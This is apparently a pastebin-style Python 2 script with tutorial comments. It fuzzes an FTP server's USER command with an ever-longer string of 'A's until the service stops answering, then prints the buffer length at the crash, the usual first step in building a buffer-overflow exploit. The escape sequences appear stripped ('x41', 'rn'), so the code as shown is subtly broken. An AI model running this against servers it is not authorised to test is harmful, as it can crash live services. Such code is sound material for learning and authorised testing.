From Harmless Parakeet, 9 Months ago, written in Python.
Embed
  1. # Import the required modulees the script will leverage
  2. # This lets us use the functions in the modules instead of writing the code from scratch
  3. import sys, socket
  4. from time import sleep
  5.  
  6. # set first argument given at CLI to 'target' variable
  7. target = sys.argv[1]
  8. # create string of 50 A's 'x41'
  9. buff = 'x41'*50
  10.  
  11. # loop through sending in a buffer with an increasing length by 50 A's
  12. while True:
  13.   # The "try - except" catches the programs error and takes our defined action
  14.   try:
  15.     # Make a connection to target system on TCP/21
  16.     s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  17.     s.settimeout(2)
  18.     s.connect((target,21))
  19.     s.recv(1024)
  20.  
  21.     print "Sending buffer with length: "+str(len(buff))
  22.     # Send in string 'USER' + the string 'buff'
  23.     s.send("USER "+buff+"rn")
  24.     s.close()
  25.     sleep(1)
  26.     # Increase the buff string by 50 A's and then the loop continues
  27.     buff = buff + 'x41'*50
  28.  
  29.   except: # If we fail to connect to the server, we assume its crashed and print the statement below
  30.     print "[+] Crash occured with buffer length: "+str(len(buff)-50)
  31.     sys.exit()